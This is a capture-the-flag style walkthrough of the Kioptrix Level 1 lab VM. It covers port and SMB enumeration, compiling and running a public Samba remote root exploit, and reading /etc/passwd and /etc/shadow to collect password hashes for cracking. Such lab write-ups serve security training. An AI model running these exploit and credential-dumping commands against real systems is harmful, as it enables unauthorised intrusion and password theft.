Machine Information

- **Attacker Machine**

HOSTNAME: kali
IP ADDRESS: 192.168.137.133
SUBNET MASK: 255.255.255.0

```
┌──(root㉿kali)-[~]
└─# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 00:0c:29:2d:fc:c4 brd ff:ff:ff:ff:ff:ff
    inet 192.168.137.133/24 brd 192.168.137.255 scope global dynamic noprefixroute eth0
       valid_lft 1663sec preferred_lft 1663sec
    inet6 fe80::20c:29ff:fe2d:fcc4/64 scope link noprefixroute
       valid_lft forever preferred_lft forever
```

- **Target Machine**

IP ADDRESS: 192.168.137.134
SUBNET MASK: 255.255.255.0

```
┌──(root㉿kali)-[~]
└─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:2d:fc:c4, IPv4: 192.168.137.133
Starting arp-scan 1.9.8 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.137.1   92:9c:4a:8c:33:65       (Unknown: locally administered)
192.168.137.2   00:50:56:e6:c8:8b       VMware, Inc.
192.168.137.134 00:0c:29:3d:91:61       VMware, Inc.
192.168.137.254 00:50:56:ea:6f:11       VMware, Inc.

4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.8: 256 hosts scanned in 1.970 seconds (129.95 hosts/sec). 4 responded
```

NMAP

- **All Ports**

```
┌──(root㉿kali)-[~/kioptrix]
└─# nmap -T 4 -p- 192.168.137.134 > ./nmap/all-ports.txt
```

```
┌──(root㉿kali)-[~/kioptrix/nmap]
└─# ls
all-ports.txt

┌──(root㉿kali)-[~/kioptrix/nmap]
└─# cat all-ports.txt
Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-15 06:06 EST
Nmap scan report for 192.168.137.134
Host is up (0.0017s latency).
Not shown: 65529 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
443/tcp   open  https
32768/tcp open  filenet-tms
MAC Address: 00:0C:29:3D:91:61 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 11.83 seconds
```

Enumerating SMB ie. Port 139

- NMAP Scan

```
┌──(root㉿kali)-[~/kioptrix]
└─# nmap -T 4 -p 139 -A 192.168.137.134 > ./nmap/smb.txt
```

```
┌──(root㉿kali)-[~/kioptrix/nmap]
└─# ls
all-ports.txt  smb.txt

┌──(root㉿kali)-[~/kioptrix/nmap]
└─# cat smb.txt
Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-15 06:14 EST
Nmap scan report for 192.168.137.134
Host is up (0.0015s latency).

PORT     STATE SERVICE     VERSION
139/tcp open  netbios-ssn Samba smbd (workgroup: NMYGROUP)
MAC Address: 00:0C:29:3D:91:61 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.4.X
OS CPE: cpe:/o:linux:linux_kernel:2.4
OS details: Linux 2.4.9 - 2.4.18 (likely embedded)
Network Distance: 1 hop

Host script results:
|_nbstat: NetBIOS name: KIOPTRIX, NetBIOS user: <unknown>, NetBIOS MAC: 000000000000 (Xerox)
|_smb2-time: Protocol negotiation failed (SMB2)

TRACEROUTE
HOP RTT     ADDRESS
1   1.52 ms 192.168.137.134

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.10 seconds
```

Findings

Version: Samba smbd (workgroup: NMYGROUP) - SMB2

NetBIOS name: KIOPTRIX

- **Trying to Connect & Access SMB File Shares**

```
┌──(root㉿kali)-[~/kioptrix]
└─# smbclient -L ////192.168.137.134//
Server does not support EXTENDED_SECURITY  but 'client use spnego = yes' and 'client ntlmv2 auth = yes' is set
Anonymous login successful
Password for [WORKGROUP\root]:

        Sharename       Type      Comment
        ---------       ----      -------
        IPC$            IPC       IPC Service (Samba Server)
        ADMIN$          IPC       IPC Service (Samba Server)
Reconnecting with SMB1 for workgroup listing.
Server does not support EXTENDED_SECURITY  but 'client use spnego = yes' and 'client ntlmv2 auth = yes' is set
Anonymous login successful

        Server               Comment
        ---------            -------
        KIOPTRIX             Samba Server

        Workgroup            Master
        ---------            -------
        MYGROUP              KIOPTRIX
```

```
┌──(root㉿kali)-[~/kioptrix]
└─# smbclient ////192.168.137.134//IPC$
Password for [WORKGROUP\root]:
do_connect: Connection to  failed (Error NT_STATUS_NOT_FOUND)

┌──(root㉿kali)-[~/kioptrix]
└─# smbclient ////192.168.137.134//ADMIN$
Password for [WORKGROUP\root]:
do_connect: Connection to  failed (Error NT_STATUS_NOT_FOUND)
```

Findings

We weren't able to Connect to either of the SMB File Shares.

- **Enumerating SMB Version**

```
┌──(root㉿kali)-[~/kioptrix]
└─# msfconsole

IIIIII    dTb.dTb        _.___._
  II     4'  v  'B   .'"".'/|\`."".'
  II     6.     .P  :  .' / | \ `.  :
  II     'T;. .;P'  '.'  /  |  \  `.'
  II      'T; ;P'    `. /   |   \ .'
IIIIII     'YvP'       `-._|___.-'

I love shells --egypt


       =[ metasploit v6.2.23-dev                          ]
+ -- --=[ 2259 exploits - 1188 auxiliary - 402 post       ]
+ -- --=[ 951 payloads - 45 encoders - 11 nops            ]
+ -- --=[ 9 evasion                                       ]

Metasploit tip: Enable HTTP request and response logging
with set HttpTrace true
Metasploit Documentation: https://docs.metasploit.com/

msf6 >
```

```
msf6 > search smb_version

Matching Modules
================

  #  Name                                     Disclosure Date  Rank    Check  Description
  -  ----                                     ---------------  ----    -----  -----------
  0  auxiliary/scanner/smb/smb_version                         normal  No     SMB Version Detection

Interact with a module by name or index. For example info 0, use 0 or use auxiliary/scanner/smb/smb_version

msf6 > use 0
```

```
msf6 auxiliary(scanner/smb/smb_version) > info

       Name: SMB Version Detection
     Module: auxiliary/scanner/smb/smb_version
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  hdm <x@hdm.io>
  Spencer McIntyre
  Christophe De La Fuente

Check supported:
  No

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  RHOSTS                    yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
  THREADS  1                yes       The number of concurrent threads (max one per host)

Description:
  Fingerprint and display version information about SMB servers.
  Protocol information and host operating system (if available) will
  be reported. Host operating system detection requires the remote
  server to support version 1 of the SMB protocol. Compression and
  encryption capability negotiation is only present in version 3.1.1.
```

```
msf6 auxiliary(scanner/smb/smb_version) > options

Module options (auxiliary/scanner/smb/smb_version):

  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  RHOSTS                    yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
  THREADS  1                yes       The number of concurrent threads (max one per host)

msf6 auxiliary(scanner/smb/smb_version) > set rhosts 192.168.137.134
rhosts => 192.168.137.134
msf6 auxiliary(scanner/smb/smb_version) > run

[*] 192.168.137.134:139   - SMB Detected (versions:) (preferred dialect:) (signatures:optional)
[*] 192.168.137.134:139   -   Host could not be identified: Unix (Samba 2.2.1a)
[*] 192.168.137.134:      - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/smb/smb_version) >
```

Findings

Version: Samba 2.2.1a

- **Checking if SMB Version is Vulnerable to EternalBlue**

```
┌──(root㉿kali)-[~/kioptrix]
└─# msfconsole

                  .;lxO0KXXXK0Oxl:.
              ,o0WMMMMMMMMMMMMMMMMMMMMMMKd,
          'xNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWx,
       :KMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMK:
     .KMMMMMMMMMMMMMMMWNNNWMMMMMMMMMMMMMMMMMMMX,
    lWMMMMMMMMMMMMXd:..        ..;dKMMMMMMMMMMMMMMo
   xMMMMMMMMMMMWd.                  .oNMMMMMMMMMMMMk
  oMMMMMMMMMMMx.                       dMMMMMMMMMMMMx
 .WMMMMMMMMMM:                          :MMMMMMMMMMMM,
xMMMMMMMMMMo                             lMMMMMMMMMMO
NMMMMMMMMMW                         ,cccccoMMMMMMMMMMWlccccc;
MMMMMMMMMX                           ;KMMMMMMMMMMMMMMMMMMMX:
NMMMMMMMMMW.                           ;KMMMMMMMMMMMMMMMX:
xMMMMMMMMMMd                             ,0MMMMMMMMMMMK;
.WMMMMMMMMMMc                              'OMMMMMMM0,
 lMMMMMMMMMMMk.                              .kMMO'
  dMMMMMMMMMMMWd'                                ..
   cWMMMMMMMMMMMMNxc'.                     ###########
    .0MMMMMMMMMMMMMMMMMWc                 #+#    #+#
      ;0MMMMMMMMMMMMMMMMMo.              +:+
         .dNMMMMMMMMMMMMMMMo            +#++:++#+
            'oOWMMMMMMMMMMo                   +:+
                .,cdkO0K;           :+:    :+:
                                    :::::::+:
                         Metasploit

       =[ metasploit v6.2.23-dev                          ]
+ -- --=[ 2259 exploits - 1188 auxiliary - 402 post       ]
+ -- --=[ 951 payloads - 45 encoders - 11 nops            ]
+ -- --=[ 9 evasion                                       ]

Metasploit tip: Enable HTTP request and response logging
with set HttpTrace true
Metasploit Documentation: https://docs.metasploit.com/

msf6 >
```

```
msf6 > search eternalblue

Matching Modules
================

   #  Name                                      Disclosure Date  Rank     Check  Description
   -  ----                                      ---------------  ----     -----  -----------
   0  exploit/windows/smb/ms17_010_eternalblue  2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
   1  exploit/windows/smb/ms17_010_psexec       2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows C
ode Execution
   2  auxiliary/admin/smb/ms17_010_command      2017-03-14       normal   No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows C
ommand Execution
   3  auxiliary/scanner/smb/smb_ms17_010                         normal   No     MS17-010 SMB RCE Detection
   4  exploit/windows/smb/smb_doublepulsar_rce  2017-04-14       great    Yes    SMB DOUBLEPULSAR Remote Code Execution


Interact with a module by name or index. For example info 4, use 4 or use exploit/windows/smb/smb_doublepulsar_rce

msf6 > use 3
```

```
msf6 auxiliary(scanner/smb/smb_ms17_010) > options

Module options (auxiliary/scanner/smb/smb_ms17_010):

   Name         Current Setting                                Required  Description
   ----         ---------------                                --------  -----------
   CHECK_ARCH   true                                           no        Check for architecture on vulnerable hosts
   CHECK_DOPU   true                                           no        Check for DOUBLEPULSAR on vulnerable hosts
   CHECK_PIPE   false                                          no        Check for named pipe on vulnerable hosts
   NAMED_PIPES  /usr/share/metasploit-framework/data/wordlis   yes       List of named pipes to check
                ts/named_pipes.txt
   RHOSTS                                                      yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-
                                                                         Metasploit
   RPORT        445                                            yes       The SMB service port (TCP)
   SMBDomain    .                                              no        The Windows domain to use for authentication
   SMBPass                                                     no        The password for the specified username
   SMBUser                                                     no        The username to authenticate as
   THREADS      1                                              yes       The number of concurrent threads (max one per host)

msf6 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 192.168.137.134
rhosts => 192.168.137.134
```

```
msf6 auxiliary(scanner/smb/smb_ms17_010) > options

Module options (auxiliary/scanner/smb/smb_ms17_010):

   Name         Current Setting                                Required  Description
   ----         ---------------                                --------  -----------
   CHECK_ARCH   true                                           no        Check for architecture on vulnerable hosts
   CHECK_DOPU   true                                           no        Check for DOUBLEPULSAR on vulnerable hosts
   CHECK_PIPE   false                                          no        Check for named pipe on vulnerable hosts
   NAMED_PIPES  /usr/share/metasploit-framework/data/wordlis   yes       List of named pipes to check
                ts/named_pipes.txt
   RHOSTS       192.168.137.134                                yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-
                                                                         Metasploit
   RPORT        445                                            yes       The SMB service port (TCP)
   SMBDomain    .                                              no        The Windows domain to use for authentication
   SMBPass                                                     no        The password for the specified username
   SMBUser                                                     no        The username to authenticate as
   THREADS      1                                              yes       The number of concurrent threads (max one per host)

msf6 auxiliary(scanner/smb/smb_ms17_010) > set rport 139
rport => 139
```

```
msf6 auxiliary(scanner/smb/smb_ms17_010) > run

[-] 192.168.137.134:139   - Unable to properly detect if host is vulnerable.
[*] 192.168.137.134:139   - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

Findings

Not Vulnerable to Eternal Blue

- **Checking for more Vulnerablities**

We came across 2 Vulnerabilties:

1. Trans2Open - https://www.rapid7.com/db/modules/exploit/linux/samba/trans2open/ - But this wouldn't work because we weren't able to gain Anonymous Access to File Shares.
2. Samba < 2.2.8 (Linux/BSD) - Remote Code Execution - https://www.exploit-db.com/exploits/10

Trying out the Second One.

```
┌──(root㉿kali)-[~/kioptrix]
└─# ls
10.c  nmap

┌──(root㉿kali)-[~/kioptrix]
└─# gcc 10.c

┌──(root㉿kali)-[~/kioptrix]
└─# ls
10.c  a.out  nmap

┌──(root㉿kali)-[~/kioptrix]
└─# ./a.out -b 0 -v 192.168.137.134
samba-2.2.8 < remote root exploit by eSDee (www.netric.org|be)
-------------------------------------------------------------------------
+ Verbose mode.
+ Bruteforce mode. (Linux)
+ Host is running samba.
+ Using ret: [0×bffffed4]
+ Using ret: [0×bffffda8]
+ Worked!
-------------------------------------------------------------------------
*** JE MOET JE MUIL HOUWE
Linux kioptrix.level1 2.4.7-10 #1 Thu Sep 6 16:46:36 EDT 2001 i686 unknown
uid=0(root) gid=0(root) groups=99(nobody)



whoami
root


hostname
kioptrix.level1
```

```
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/var/spool/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
```

```
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/dev/null
rpm:x:37:37::/var/lib/rpm:/bin/bash
xfs:x:43:43:X Font Server:/etc/X11/fs:/bin/false
rpc:x:32:32:Portmapper RPC user:/:/bin/false
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/bin/false
ident:x:98:98:pident user:/:/sbin/nologin
radvd:x:75:75:radvd user:/:/bin/false
postgres:x:26:26:PostgreSQL Server:/var/lib/pgsql:/bin/bash
apache:x:48:48:Apache:/var/www:/bin/false
squid:x:23:23::/var/spool/squid:/dev/null
pcap:x:77:77::/var/arpwatch:/bin/nologin
john:x:500:500::/home/john:/bin/bash
harold:x:501:501::/home/harold:/bin/bash
```

```
cat /etc/shadow
root:$1$XROmcfDX$tF93GqnLHOJeGRHpaNyIs0:14513:0:99999:7:::
bin:*:14513:0:99999:7:::
daemon:*:14513:0:99999:7:::
adm:*:14513:0:99999:7:::
lp:*:14513:0:99999:7:::
sync:*:14513:0:99999:7:::
shutdown:*:14513:0:99999:7:::
halt:*:14513:0:99999:7:::
mail:*:14513:0:99999:7:::
news:*:14513:0:99999:7:::
uucp:*:14513:0:99999:7:::
operator:*:14513:0:99999:7:::
games:*:14513:0:99999:7:::
gopher:*:14513:0:99999:7:::
ftp:*:14513:0:99999:7:::
nobody:*:14513:0:99999:7:::
mailnull:!!:14513:0:99999:7:::
rpm:!!:14513:0:99999:7:::
xfs:!!:14513:0:99999:7:::
rpc:!!:14513:0:99999:7:::
rpcuser:!!:14513:0:99999:7:::
nfsnobody:!!:14513:0:99999:7:::
nscd:!!:14513:0:99999:7:::
ident:!!:14513:0:99999:7:::
radvd:!!:14513:0:99999:7:::
postgres:!!:14513:0:99999:7:::
apache:!!:14513:0:99999:7:::
squid:!!:14513:0:99999:7:::
pcap:!!:14513:0:99999:7:::
john:$1$zL4.MR4t$26N4YpTGceBO0gTX6TAky1:14513:0:99999:7:::
harold:$1$Xx6dZdOd$IMOGACl3r757dv17LZ9010:14513:0:99999:7:::
```

We Rooted the Machine. We can also see that there are 2 users:

- John
- Harold

Their Password Hashes are:

- John - 1zL4.MR4t$26N4YpTGceBO0gTX6TAky1

- Harold - 1Xx6dZdOd$IMOGACl3r757dv17LZ9010

These Passwords can be Cracked by using:

- unshadow
- John the Ripper

See this Video:
https://www.youtube.com/watch?v=X1Yl_StL1ac